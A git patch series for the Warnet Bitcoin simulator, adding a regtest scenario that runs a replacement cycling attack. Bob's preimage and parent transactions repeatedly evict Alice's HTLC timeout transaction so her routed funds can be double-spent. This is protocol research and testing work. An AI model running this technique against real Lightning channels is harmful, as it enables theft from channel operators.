From c1448f7c1f390e2a576eb5da78e5565075780114 Mon Sep 17 00:00:00 2001 From: Grant Date: Wed, 17 Jul 2024 14:56:09 -0500 Subject: [PATCH 01/18] update quick_start spacing --- quick_start.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/quick_start.sh b/quick_start.sh index e865f390b..06ccc55ed 100755 --- a/quick_start.sh +++ b/quick_start.sh @@ -181,7 +181,7 @@ sleep 1 while warcli network connected | grep -q "False"; do sleep 2 done -print_message "" "🥳" "" -print_message "" "Run the following command to enter into the python virtual environment..." "" +print_message "" " 🥳" "" +print_message "" " Run the following command to enter into the python virtual environment..." "" print_message "" " source .venv/bin/activate" "$BOLD" print_partial_message " After that, you can run " "warcli help" " to start running Warnet commands." "$BOLD" From 9c01d2425d18a2d5713624ac4855e4870386ea5c Mon Sep 17 00:00:00 2001 From: Grant Date: Wed, 17 Jul 2024 14:56:27 -0500 Subject: [PATCH 02/18] add replacement cycling --- src/scenarios/replacement_cycling.py | 440 +++++++++++++++++++++++++++ 1 file changed, 440 insertions(+) create mode 100644 src/scenarios/replacement_cycling.py diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py new file mode 100644 index 000000000..1398ef726 --- /dev/null +++ b/src/scenarios/replacement_cycling.py @@ -0,0 +1,440 @@ +#!/usr/bin/env python3 +# Copyright (c) 2023 The Bitcoin Core developers +# Distributed under the MIT software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +# +# https://github.com/ariard/bitcoin/blob/30f5d5b270e4ff195e8dcb9ef6b7ddcc5f6a1bf2/test/functional/mempool_replacement_cycling.py#L5 + + +"""Test replacement cycling attacks against Lightning channels""" + +from test_framework.key import ( + ECKey +) + +from test_framework.messages import ( + CTransaction, + CTxIn, + CTxInWitness, + CTxOut, + COutPoint, + sha256, + COIN, + tx_from_hex, +) + +from test_framework.util import ( + assert_equal +) + +from test_framework.script import ( + CScript, + hash160, + OP_IF, + OP_HASH160, + OP_EQUAL, + OP_ELSE, + OP_ENDIF, + OP_CHECKSIG, + OP_SWAP, + OP_SIZE, + OP_NOTIF, + OP_DROP, + OP_CHECKMULTISIG, + OP_EQUALVERIFY, + OP_0, + OP_2, + OP_TRUE, + SegwitV0SignatureHash, + SIGHASH_ALL, + SIGHASH_SINGLE, + SIGHASH_ANYONECANPAY, +) + +from warnet.test_framework_bridge import WarnetTestFramework + +from test_framework.wallet import MiniWallet + + +def cli_help(): + return "Run a replacement cycling attack" + +def get_funding_redeemscript(funder_pubkey, fundee_pubkey): + return CScript([OP_2, funder_pubkey.get_bytes(), fundee_pubkey.get_bytes(), OP_2, OP_CHECKMULTISIG]) + +def get_anchor_single_key_redeemscript(pubkey): + return CScript([pubkey.get_bytes(), OP_CHECKSIG]) + +def generate_funding_chan(wallet, coin, funder_pubkey, fundee_pubkey): + witness_script = get_funding_redeemscript(funder_pubkey, fundee_pubkey) + witness_program = sha256(witness_script) + script_pubkey = CScript([OP_0, witness_program]) + + funding_tx = CTransaction() + funding_tx.vin.append(CTxIn(COutPoint(int(coin['txid'], 16), coin['vout']), b"")) + funding_tx.vout.append(CTxOut(int(49.99998 * COIN), script_pubkey)) + funding_tx.rehash() + + wallet.sign_tx(funding_tx) + return funding_tx + +def generate_parent_child_tx(wallet, coin, pubkey, sat_per_vbyte): + # We build a junk parent transaction for the second-stage HTLC-preimage + junk_parent_fee = 158 * sat_per_vbyte + + junk_script = CScript([OP_TRUE]) + junk_scriptpubkey = CScript([OP_0, sha256(junk_script)]) + + junk_parent = CTransaction() + junk_parent.vin.append(CTxIn(COutPoint(int(coin['txid'], 16), coin['vout']), b"")) + junk_parent.vout.append(CTxOut(int(49.99998 * COIN - junk_parent_fee), junk_scriptpubkey)) + + wallet.sign_tx(junk_parent) + junk_parent.rehash() + + child_tx_fee = 158 * sat_per_vbyte + + child_tx = CTransaction() + child_tx.vin.append(CTxIn(COutPoint(int(junk_parent.hash, 16), 0), b"", 0)) + child_tx.vout.append(CTxOut(int(49.99998 * COIN - (junk_parent_fee + child_tx_fee)), junk_scriptpubkey)) + + child_tx.wit.vtxinwit.append(CTxInWitness()) + child_tx.wit.vtxinwit[0].scriptWitness.stack = [junk_script] + child_tx.rehash() + + return (junk_parent, child_tx) + +def generate_preimage_tx(input_amount, sat_per_vbyte, funder_seckey, fundee_seckey, hashlock, commitment_tx, preimage_parent_tx): + + commitment_fee = 158 * 2 # Old sat per vbyte + + witness_script = CScript([fundee_seckey.get_pubkey().get_bytes(), OP_SWAP, OP_SIZE, 32, + OP_EQUAL, OP_NOTIF, OP_DROP, 2, OP_SWAP, funder_seckey.get_pubkey().get_bytes(), 2, OP_CHECKMULTISIG, OP_ELSE, + OP_HASH160, hashlock, OP_EQUALVERIFY, OP_CHECKSIG, OP_ENDIF]) + + spend_script = CScript([OP_TRUE]) + spend_scriptpubkey = CScript([OP_0, sha256(spend_script)]) + + preimage_fee = 148 * sat_per_vbyte + receiver_preimage = CTransaction() + receiver_preimage.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", 0)) + receiver_preimage.vin.append(CTxIn(COutPoint(int(preimage_parent_tx.hash, 16), 0), b"", 0)) + receiver_preimage.vout.append(CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey)) + + sig_hash = SegwitV0SignatureHash(witness_script, receiver_preimage, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue) + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + + # Spend the commitment transaction HTLC output + receiver_preimage.wit.vtxinwit.append(CTxInWitness()) + receiver_preimage.wit.vtxinwit[0].scriptWitness.stack = [fundee_sig, b'a' * 32, witness_script] + + # Spend the parent transaction OP_TRUE output + junk_script = CScript([OP_TRUE]) + receiver_preimage.wit.vtxinwit.append(CTxInWitness()) + receiver_preimage.wit.vtxinwit[1].scriptWitness.stack = [junk_script] + receiver_preimage.rehash() + + return (receiver_preimage) + +def create_chan_state(funding_txid, funding_vout, funder_seckey, fundee_seckey, input_amount, input_script, sat_per_vbyte, timelock, hashlock, nSequence, preimage_parent_tx): + witness_script = CScript([fundee_seckey.get_pubkey().get_bytes(), OP_SWAP, OP_SIZE, 32, + OP_EQUAL, OP_NOTIF, OP_DROP, 2, OP_SWAP, funder_seckey.get_pubkey().get_bytes(), 2, OP_CHECKMULTISIG, OP_ELSE, + OP_HASH160, hashlock, OP_EQUALVERIFY, OP_CHECKSIG, OP_ENDIF]) + witness_program = sha256(witness_script) + script_pubkey = CScript([OP_0, witness_program]) + + # Expected size = 158 vbyte + commitment_fee = 158 * sat_per_vbyte + commitment_tx = CTransaction() + commitment_tx.vin.append(CTxIn(COutPoint(int(funding_txid, 16), funding_vout), b"", 0x1)) + commitment_tx.vout.append(CTxOut(int(input_amount - 158 * sat_per_vbyte), script_pubkey)) + + sig_hash = SegwitV0SignatureHash(input_script, commitment_tx, 0, SIGHASH_ALL, int(input_amount)) + funder_sig = funder_seckey.sign_ecdsa(sig_hash) + b'\x01' + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + + commitment_tx.wit.vtxinwit.append(CTxInWitness()) + commitment_tx.wit.vtxinwit[0].scriptWitness.stack = [b'', funder_sig, fundee_sig, input_script] + commitment_tx.rehash() + + spend_script = CScript([OP_TRUE]) + spend_scriptpubkey = CScript([OP_0, sha256(spend_script)]) + + timeout_fee = 158 * sat_per_vbyte + offerer_timeout = CTransaction() + offerer_timeout.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", nSequence)) + offerer_timeout.vout.append(CTxOut(int(input_amount - (commitment_fee + timeout_fee)), spend_scriptpubkey)) + offerer_timeout.nLockTime = timelock + + sig_hash = SegwitV0SignatureHash(witness_script, offerer_timeout, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue) + funder_sig = funder_seckey.sign_ecdsa(sig_hash) + b'\x01' + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + + offerer_timeout.wit.vtxinwit.append(CTxInWitness()) + offerer_timeout.wit.vtxinwit[0].scriptWitness.stack = [b'', fundee_sig, funder_sig, b'', witness_script] + offerer_timeout.rehash() + + preimage_fee = 148 * sat_per_vbyte + receiver_preimage = CTransaction() + receiver_preimage.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", 0)) + receiver_preimage.vin.append(CTxIn(COutPoint(int(preimage_parent_tx.hash, 16), 0), b"", 0)) + receiver_preimage.vout.append(CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey)) + + sig_hash = SegwitV0SignatureHash(witness_script, receiver_preimage, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue) + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + + # Spend the commitment transaction HTLC output + receiver_preimage.wit.vtxinwit.append(CTxInWitness()) + receiver_preimage.wit.vtxinwit[0].scriptWitness.stack = [fundee_sig, b'a' * 32, witness_script] + + # Spend the parent transaction OP_TRUE output + junk_script = CScript([OP_TRUE]) + receiver_preimage.wit.vtxinwit.append(CTxInWitness()) + receiver_preimage.wit.vtxinwit[1].scriptWitness.stack = [junk_script] + receiver_preimage.rehash() + + return (commitment_tx, offerer_timeout, receiver_preimage) + + +class ReplacementCyclingTest(WarnetTestFramework): + + def set_test_params(self): + self.num_nodes = 2 + + def test_replacement_cycling(self): + alice = self.nodes[0] + alice_seckey = ECKey() + alice_seckey.generate(True) + + bob = self.nodes[1] + bob_seckey = ECKey() + bob_seckey.generate(True) + + self.generate(alice, 501) + + self.sync_all() + + self.connect_nodes(0, 1) + + coin_1 = self.wallet.get_utxo() + + wallet = self.wallet + + # Generate funding transaction opening channel between Alice and Bob. + ab_funding_tx = generate_funding_chan(wallet, coin_1, alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) + + alice.log.info(f"A & B sign Funding Txn: Alice/Bob 2/2 multisig") + + # Propagate and confirm funding transaction. + ab_funding_txid = alice.sendrawtransaction(hexstring=ab_funding_tx.serialize().hex(), maxfeerate=0) + + self.sync_all() + + assert ab_funding_txid in alice.getrawmempool() + assert ab_funding_txid in bob.getrawmempool() + + # We mine one block the Alice - Bob channel is opened. + self.generate(alice, 1) + assert_equal(len(alice.getrawmempool()), 0) + assert_equal(len(bob.getrawmempool()), 0) + + lastblockhash = alice.getbestblockhash() + block = alice.getblock(lastblockhash) + lastblockheight = block['height'] + + self.log.info(f"Alice sent funding Txn, included @ {lastblockheight}") + + hashlock = hash160(b'a' * 32) + + funding_redeemscript = get_funding_redeemscript(alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) + + coin_2 = self.wallet.get_utxo() + + parent_seckey = ECKey() + parent_seckey.generate(True) + + (bob_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, parent_seckey.get_pubkey(), 1) + + self.log.info(f"Bob makes the Parent Txn ({bob_parent_tx.hash[0:7]}) " + f"& Child Txn ({bob_child_tx.hash[0:7]} using Coin_2.") + + (ab_commitment_tx, alice_timeout_tx, bob_preimage_tx) = create_chan_state(ab_funding_txid, + 0, + alice_seckey, + bob_seckey, + 49.99998 * COIN, + funding_redeemscript, + 2, + lastblockheight + 20, + hashlock, + 0x1, + bob_parent_tx) + + self.log.info("Funding Txn output -> A & B sign the Commitment Txn: Alice can claim w/ 2/2 multisig; Bob can claim with hashlock") + self.log.info("Commitment Txn output -> A & B sign the Timeout Txn: After nLockTime, Alice claims with 2/2 multisig") + self.log.info("Commitment Txn output -> Bob signs the Preimage Txn: Bob claims Commitment Txn w/ preimage + the Parent Txn") + + # We broadcast Alice - Bob commitment transaction. + ab_commitment_txid = alice.sendrawtransaction(hexstring=ab_commitment_tx.serialize().hex(), maxfeerate=0) + + self.sync_all() + + assert ab_commitment_txid in alice.getrawmempool() + assert ab_commitment_txid in bob.getrawmempool() + + # Assuming anchor output channel, commitment transaction must be confirmed. + # Additionally we mine sufficient block for the alice timeout tx to be final. + self.generate(alice, 20) + assert_equal(len(alice.getrawmempool()), 0) + assert_equal(len(bob.getrawmempool()), 0) + + lastblockhash = alice.getbestblockhash() + block = alice.getblock(lastblockhash) + blockheight_print = block['height'] + + self.log.info(f"Alice broadcasted the Commitment Txn & mined 20 blocks; now @ {blockheight_print}") + + # Broadcast the Bob parent transaction and its child transaction + bob_parent_txid = bob.sendrawtransaction(hexstring=bob_parent_tx.serialize().hex(), maxfeerate=0) + bob_child_txid = bob.sendrawtransaction(hexstring=bob_child_tx.serialize().hex(), maxfeerate=0) + + self.log.info(f"Bob broadcasted the Parent Txn & Child Txn @ {blockheight_print}") + + self.sync_all() + + assert bob_parent_txid in alice.getrawmempool() + assert bob_parent_txid in bob.getrawmempool() + assert bob_child_txid in alice.getrawmempool() + assert bob_child_txid in bob.getrawmempool() + + lastblockhash = alice.getbestblockhash() + block = alice.getblock(lastblockhash) + blockheight_print = block['height'] + + self.log.info("Alice broadcasts her Timeout Txn @ {}".format(blockheight_print)) + + # Broadcast the Alice timeout transaction + alice_timeout_txid = alice.sendrawtransaction(hexstring=alice_timeout_tx.serialize().hex(), maxfeerate=0) + + self.sync_all() + + assert alice_timeout_txid in alice.getrawmempool() + assert alice_timeout_txid in bob.getrawmempool() + + # Broadcast the Bob preimage transaction + bob_preimage_txid = bob.sendrawtransaction(hexstring=bob_preimage_tx.serialize().hex(), maxfeerate=0) + + self.sync_all() + + assert bob_preimage_txid in alice.getrawmempool() + assert bob_preimage_txid in bob.getrawmempool() + + self.log.info("Bob broadcasted his Preimage Txn to replace Alice's Timeout Txn @ {}".format(blockheight_print)) + + # Check Alice timeout transaction and Bob child tx are not in the mempools anymore + assert not alice_timeout_txid in alice.getrawmempool() + assert not alice_timeout_txid in bob.getrawmempool() + assert not bob_child_txid in alice.getrawmempool() + assert not bob_child_txid in bob.getrawmempool() + + self.log.info(f"Alice's Timeout Txn and Bob's Child Txn are not in mempool @ {blockheight_print}") + + # Generate a higher fee parent transaction and broadcast it to replace Bob preimage tx + (bob_replacement_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, parent_seckey.get_pubkey(), 10) + + bob_replacement_parent_txid = bob.sendrawtransaction(hexstring=bob_replacement_parent_tx.serialize().hex(), maxfeerate=0) + + self.log.info(f"Bob makes Replacement Parent Txn (w/ higher fee) and broadcasts it @ {blockheight_print}") + + self.sync_all() + + # Check Bob HTLC preimage is not in the mempools anymore + assert not bob_preimage_txid in alice.getrawmempool() + assert not bob_preimage_txid in bob.getrawmempool() + assert bob_replacement_parent_txid in alice.getrawmempool() + assert bob_replacement_parent_txid in alice.getrawmempool() + + # Check there is only 1 transaction (bob_replacement_parent_txid) in the mempools + assert_equal(len(alice.getrawmempool()), 1) + assert_equal(len(bob.getrawmempool()), 1) + + self.log.info(f"Bob's Preimage Txn not in mempool @ {blockheight_print}") + self.log.info(f"Bob's Replacement Parent Txn is in mempool @ {blockheight_print}") + + # A block is mined and bob replacement parent should have confirms. + self.generate(alice, 1) + lastblockhash = alice.getbestblockhash() + block = alice.getblock(lastblockhash) + blockheight_print = block['height'] + + assert_equal(len(alice.getrawmempool()), 0) + assert_equal(len(bob.getrawmempool()), 0) + + self.log.info(f"Mined Bob's Replacement Parent Txn @ {blockheight_print}") + + # Alice can re-broadcast her HTLC-timeout as the offered output has not been claimed + # Note the HTLC-timeout _txid_ must be modified to bypass p2p filters. Here we +1 the nSequence. + (_, alice_timeout_tx_2, _) = create_chan_state(ab_funding_txid, 0, alice_seckey, bob_seckey, 49.99998 * COIN, funding_redeemscript, 2, lastblockheight + 20, hashlock, 0x2, bob_parent_tx) + alice_timeout_txid_2 = alice.sendrawtransaction(hexstring=alice_timeout_tx_2.serialize().hex(), maxfeerate=0) + + self.sync_all() + + lastblockhash = alice.getbestblockhash() + block = alice.getblock(lastblockhash) + blockheight_print = block['height'] + + self.log.info( + f"Alice tweaks nSequence & re-broadcasts Timeout txn (output has not been claimed yet) @ {blockheight_print}") + + assert alice_timeout_txid_2 in alice.getrawmempool() + assert alice_timeout_txid_2 in bob.getrawmempool() + + # Note all the transactions are re-generated to bypass p2p filters + coin_3 = self.wallet.get_utxo() + (bob_parent_tx_2, bob_child_tx_2) = generate_parent_child_tx(wallet, coin_3, parent_seckey.get_pubkey(), 4) + bob_preimage_tx_2 = generate_preimage_tx(49.9998 * COIN, 4, alice_seckey, bob_seckey, hashlock, ab_commitment_tx, bob_parent_tx_2) + + self.log.info( + f"Bob re-makes a Parent Txn & Child Txn (Coin_3) and a new Preimage Txn (spends Parent Txn) @ {blockheight_print}") + + bob_parent_txid_2 = bob.sendrawtransaction(hexstring=bob_parent_tx_2.serialize().hex(), maxfeerate=0) + + self.sync_all() + + self.log.info( + f"Bob broadcasts Parent Txn @ {blockheight_print}") + + bob_child_txid_2 = bob.sendrawtransaction(hexstring=bob_child_tx_2.serialize().hex(), maxfeerate=0) + + self.sync_all() + + self.log.info( + f"Bob broadcasts Child Txn @ {blockheight_print}") + + bob_preimage_txid_2 = bob.sendrawtransaction(hexstring=bob_preimage_tx_2.serialize().hex(), maxfeerate=0) + + self.sync_all() + + self.log.info( + f"Bob broadcasts Preimage Txn @ {blockheight_print}") + + assert bob_preimage_txid_2 in alice.getrawmempool() + assert bob_preimage_txid_2 in bob.getrawmempool() + assert not alice_timeout_txid_2 in alice.getrawmempool() + assert not alice_timeout_txid_2 in bob.getrawmempool() + + self.log.info(f"Bob's Preimage Txn is in the mempool; Alice's Timeout Txn is not @ {blockheight_print}") + + # Bob can repeat this replacement cycling trick until an inbound HTLC of Alice expires and double-spend her routed HTLCs. + + def run_test(self): + self.generatetoaddress(self.nodes[0], nblocks=101, + address="bcrt1p9yfmy5h72durp7zrhlw9lf7jpwjgvwdg0jr0lqmmjtgg83266lqsekaqka") + + self.wallet = MiniWallet(self.nodes[0]) + + self.test_replacement_cycling() + + +if __name__ == '__main__': + ReplacementCyclingTest().main() From 54812ecd89a728a97884074907257dfe9aea83b2 Mon Sep 17 00:00:00 2001 From: Grant Date: Mon, 27 May 2024 23:27:57 -0500 Subject: [PATCH 03/18] update rep cycle w/ better logging --- src/scenarios/replacement_cycling.py | 49 ++++++++++++++++++---------- 1 file changed, 32 insertions(+), 17 deletions(-) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index 1398ef726..ceb93b1a9 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -65,7 +65,7 @@ def get_funding_redeemscript(funder_pubkey, fundee_pubkey): def get_anchor_single_key_redeemscript(pubkey): return CScript([pubkey.get_bytes(), OP_CHECKSIG]) -def generate_funding_chan(wallet, coin, funder_pubkey, fundee_pubkey): +def generate_funding_chan(wallet, coin, funder_pubkey, fundee_pubkey) -> CTransaction: witness_script = get_funding_redeemscript(funder_pubkey, fundee_pubkey) witness_program = sha256(witness_script) script_pubkey = CScript([OP_0, witness_program]) @@ -223,7 +223,7 @@ def test_replacement_cycling(self): # Generate funding transaction opening channel between Alice and Bob. ab_funding_tx = generate_funding_chan(wallet, coin_1, alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) - alice.log.info(f"A & B sign Funding Txn: Alice/Bob 2/2 multisig") + alice.log.info(f"A & B sign Funding Txn {ab_funding_tx.hash[0:7]}: Alice/Bob 2/2 multisig") # Propagate and confirm funding transaction. ab_funding_txid = alice.sendrawtransaction(hexstring=ab_funding_tx.serialize().hex(), maxfeerate=0) @@ -232,6 +232,7 @@ def test_replacement_cycling(self): assert ab_funding_txid in alice.getrawmempool() assert ab_funding_txid in bob.getrawmempool() + alice.log.info(f"Funding Tnxn {ab_funding_txid[0:7]} is in the mempool: ") # We mine one block the Alice - Bob channel is opened. self.generate(alice, 1) @@ -242,7 +243,7 @@ def test_replacement_cycling(self): block = alice.getblock(lastblockhash) lastblockheight = block['height'] - self.log.info(f"Alice sent funding Txn, included @ {lastblockheight}") + self.log.info(f"Alice sent funding Txn {ab_funding_txid[0:7]}, included @ {lastblockheight}") hashlock = hash160(b'a' * 32) @@ -270,9 +271,12 @@ def test_replacement_cycling(self): 0x1, bob_parent_tx) - self.log.info("Funding Txn output -> A & B sign the Commitment Txn: Alice can claim w/ 2/2 multisig; Bob can claim with hashlock") - self.log.info("Commitment Txn output -> A & B sign the Timeout Txn: After nLockTime, Alice claims with 2/2 multisig") - self.log.info("Commitment Txn output -> Bob signs the Preimage Txn: Bob claims Commitment Txn w/ preimage + the Parent Txn") + self.log.info(f"Funding Txn {ab_funding_txid[0:7]} -> A&B sign the Commitment Txn {ab_commitment_tx.hash[0:7]}" + ": A can claim w/ 2/2 multisig; B can claim with hashlock") + self.log.info(f"Commitment Txn {ab_commitment_tx.hash[0:7]} -> A&B sign Timeout Txn " + f"{alice_timeout_tx.hash[0:7]}: After nLockTime, A claims with 2/2 multisig") + self.log.info(f"Commitment Txn {ab_commitment_tx.hash[0:7]} -> Bob signs Preimage Txn " + f"{bob_preimage_tx.hash[0:7]}: Bob claims Commitment Txn w/ preimage + the Parent Txn") # We broadcast Alice - Bob commitment transaction. ab_commitment_txid = alice.sendrawtransaction(hexstring=ab_commitment_tx.serialize().hex(), maxfeerate=0) @@ -281,9 +285,10 @@ def test_replacement_cycling(self): assert ab_commitment_txid in alice.getrawmempool() assert ab_commitment_txid in bob.getrawmempool() + self.log.info(f"Commitment Txn {ab_commitment_tx.hash[0:7]} in mempool") # Assuming anchor output channel, commitment transaction must be confirmed. - # Additionally we mine sufficient block for the alice timeout tx to be final. + # Additionally, we mine sufficient block for the alice timeout tx to be final. self.generate(alice, 20) assert_equal(len(alice.getrawmempool()), 0) assert_equal(len(bob.getrawmempool()), 0) @@ -292,13 +297,15 @@ def test_replacement_cycling(self): block = alice.getblock(lastblockhash) blockheight_print = block['height'] - self.log.info(f"Alice broadcasted the Commitment Txn & mined 20 blocks; now @ {blockheight_print}") + self.log.info(f"Alice broadcasted the Commitment Txn {ab_commitment_tx.hash[0:7]}" + f"& mined 20 blocks; now @ {blockheight_print}") # Broadcast the Bob parent transaction and its child transaction bob_parent_txid = bob.sendrawtransaction(hexstring=bob_parent_tx.serialize().hex(), maxfeerate=0) bob_child_txid = bob.sendrawtransaction(hexstring=bob_child_tx.serialize().hex(), maxfeerate=0) - self.log.info(f"Bob broadcasted the Parent Txn & Child Txn @ {blockheight_print}") + self.log.info(f"Bob broadcasted the Parent Txn {bob_parent_txid[0:7]} & Child Txn {bob_child_txid[0:7]}" + f" @ {blockheight_print}") self.sync_all() @@ -306,30 +313,32 @@ def test_replacement_cycling(self): assert bob_parent_txid in bob.getrawmempool() assert bob_child_txid in alice.getrawmempool() assert bob_child_txid in bob.getrawmempool() + self.log.info(f"Parent Txn {bob_parent_txid[0:7]} is in mempool") + self.log.info(f"Child Txn {bob_child_txid[0:7]} is in mempool") lastblockhash = alice.getbestblockhash() block = alice.getblock(lastblockhash) blockheight_print = block['height'] - self.log.info("Alice broadcasts her Timeout Txn @ {}".format(blockheight_print)) - # Broadcast the Alice timeout transaction alice_timeout_txid = alice.sendrawtransaction(hexstring=alice_timeout_tx.serialize().hex(), maxfeerate=0) + self.log.info(f"Alice broadcasted her Timeout Txn {alice_timeout_txid[0:7]} @ {blockheight_print}") self.sync_all() assert alice_timeout_txid in alice.getrawmempool() assert alice_timeout_txid in bob.getrawmempool() + self.log.info(f"Alice Timeout Txn {alice_timeout_txid[0:7]} is in the mempool") # Broadcast the Bob preimage transaction bob_preimage_txid = bob.sendrawtransaction(hexstring=bob_preimage_tx.serialize().hex(), maxfeerate=0) + self.log.info(f"Bob broadcasted his Preimage Txn {bob_preimage_txid[0:7]} to kick Alice's Timeout Txn") self.sync_all() assert bob_preimage_txid in alice.getrawmempool() assert bob_preimage_txid in bob.getrawmempool() - - self.log.info("Bob broadcasted his Preimage Txn to replace Alice's Timeout Txn @ {}".format(blockheight_print)) + self.log.info(f"Bob's Preimage Txn {bob_preimage_txid[0:7]} is in the mempool; this kicks Alice's Timeeout Txn") # Check Alice timeout transaction and Bob child tx are not in the mempools anymore assert not alice_timeout_txid in alice.getrawmempool() @@ -337,14 +346,19 @@ def test_replacement_cycling(self): assert not bob_child_txid in alice.getrawmempool() assert not bob_child_txid in bob.getrawmempool() - self.log.info(f"Alice's Timeout Txn and Bob's Child Txn are not in mempool @ {blockheight_print}") + self.log.info(f"Alice's Timeout Txn {alice_timeout_txid[0:7]} and Bob's Child Txn {bob_child_txid[0:7]}" + f" are not in mempool @ {blockheight_print}") # Generate a higher fee parent transaction and broadcast it to replace Bob preimage tx - (bob_replacement_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, parent_seckey.get_pubkey(), 10) + (bob_replacement_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, + coin_2, parent_seckey.get_pubkey(), + 10) - bob_replacement_parent_txid = bob.sendrawtransaction(hexstring=bob_replacement_parent_tx.serialize().hex(), maxfeerate=0) + bob_replacement_parent_txid = bob.sendrawtransaction(hexstring=bob_replacement_parent_tx.serialize().hex(), + maxfeerate=0) - self.log.info(f"Bob makes Replacement Parent Txn (w/ higher fee) and broadcasts it @ {blockheight_print}") + self.log.info(f"Bob makes Replacement Parent Txn {bob_replacement_parent_txid[0:7]}" + f" (w/ higher fee) and broadcasts it @ {blockheight_print}") self.sync_all() @@ -353,6 +367,7 @@ def test_replacement_cycling(self): assert not bob_preimage_txid in bob.getrawmempool() assert bob_replacement_parent_txid in alice.getrawmempool() assert bob_replacement_parent_txid in alice.getrawmempool() + self.log.info(f"rawmempool: {alice.getrawmempool()}") # Check there is only 1 transaction (bob_replacement_parent_txid) in the mempools assert_equal(len(alice.getrawmempool()), 1) From 5f956f2f7b7cd71f8ffdc5bf8a90966364efb1ce Mon Sep 17 00:00:00 2001 From: Greg Sanders Date: Wed, 29 May 2024 11:30:39 -0400 Subject: [PATCH 04/18] Add fixes, notes Author: Greg Sanders Date: Wed May 29 11:30:39 2024 -0400 --- src/scenarios/replacement_cycling.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index ceb93b1a9..189f72f12 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -442,6 +442,14 @@ def test_replacement_cycling(self): # Bob can repeat this replacement cycling trick until an inbound HTLC of Alice expires and double-spend her routed HTLCs. + # ... but it gets mined immediately? - Greg + self.generate(alice, 1) + self.sync_all() + + assert bob_preimage_txid_2 not in alice.getrawmempool() + assert bob_preimage_txid_2 not in bob.getrawmempool() + + def run_test(self): self.generatetoaddress(self.nodes[0], nblocks=101, address="bcrt1p9yfmy5h72durp7zrhlw9lf7jpwjgvwdg0jr0lqmmjtgg83266lqsekaqka") From aced78833fff271ec1e73406cf9520893d190702 Mon Sep 17 00:00:00 2001 From: Grant Date: Sun, 9 Jun 2024 20:31:58 -0500 Subject: [PATCH 05/18] leave quickstart alone --- quick_start.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/quick_start.sh b/quick_start.sh index 06ccc55ed..e865f390b 100755 --- a/quick_start.sh +++ b/quick_start.sh @@ -181,7 +181,7 @@ sleep 1 while warcli network connected | grep -q "False"; do sleep 2 done -print_message "" " 🥳" "" -print_message "" " Run the following command to enter into the python virtual environment..." "" +print_message "" "🥳" "" +print_message "" "Run the following command to enter into the python virtual environment..." "" print_message "" " source .venv/bin/activate" "$BOLD" print_partial_message " After that, you can run " "warcli help" " to start running Warnet commands." "$BOLD" From 0cfa4a253092b65e8300155d5d355939b44a8e68 Mon Sep 17 00:00:00 2001 From: Grant Date: Sun, 16 Jun 2024 13:55:43 -0500 Subject: [PATCH 06/18] delint rep cycling file delint fix spelling slightly modify some log entries --- src/scenarios/replacement_cycling.py | 307 ++++++++++++++++----------- 1 file changed, 178 insertions(+), 129 deletions(-) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index 189f72f12..8b145a8b1 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -9,46 +9,42 @@ """Test replacement cycling attacks against Lightning channels""" from test_framework.key import ( - ECKey + ECKey ) from test_framework.messages import ( - CTransaction, - CTxIn, - CTxInWitness, - CTxOut, - COutPoint, - sha256, - COIN, - tx_from_hex, + CTransaction, + CTxIn, + CTxInWitness, + CTxOut, + COutPoint, + sha256, + COIN, ) from test_framework.util import ( - assert_equal + assert_equal ) from test_framework.script import ( - CScript, - hash160, - OP_IF, - OP_HASH160, - OP_EQUAL, - OP_ELSE, - OP_ENDIF, - OP_CHECKSIG, - OP_SWAP, - OP_SIZE, - OP_NOTIF, - OP_DROP, - OP_CHECKMULTISIG, - OP_EQUALVERIFY, - OP_0, - OP_2, - OP_TRUE, - SegwitV0SignatureHash, - SIGHASH_ALL, - SIGHASH_SINGLE, - SIGHASH_ANYONECANPAY, + CScript, + hash160, + OP_HASH160, + OP_EQUAL, + OP_ELSE, + OP_ENDIF, + OP_CHECKSIG, + OP_SWAP, + OP_SIZE, + OP_NOTIF, + OP_DROP, + OP_CHECKMULTISIG, + OP_EQUALVERIFY, + OP_0, + OP_2, + OP_TRUE, + SegwitV0SignatureHash, + SIGHASH_ALL, ) from warnet.test_framework_bridge import WarnetTestFramework @@ -59,12 +55,16 @@ def cli_help(): return "Run a replacement cycling attack" + def get_funding_redeemscript(funder_pubkey, fundee_pubkey): - return CScript([OP_2, funder_pubkey.get_bytes(), fundee_pubkey.get_bytes(), OP_2, OP_CHECKMULTISIG]) + return CScript( + [OP_2, funder_pubkey.get_bytes(), fundee_pubkey.get_bytes(), OP_2, OP_CHECKMULTISIG]) + def 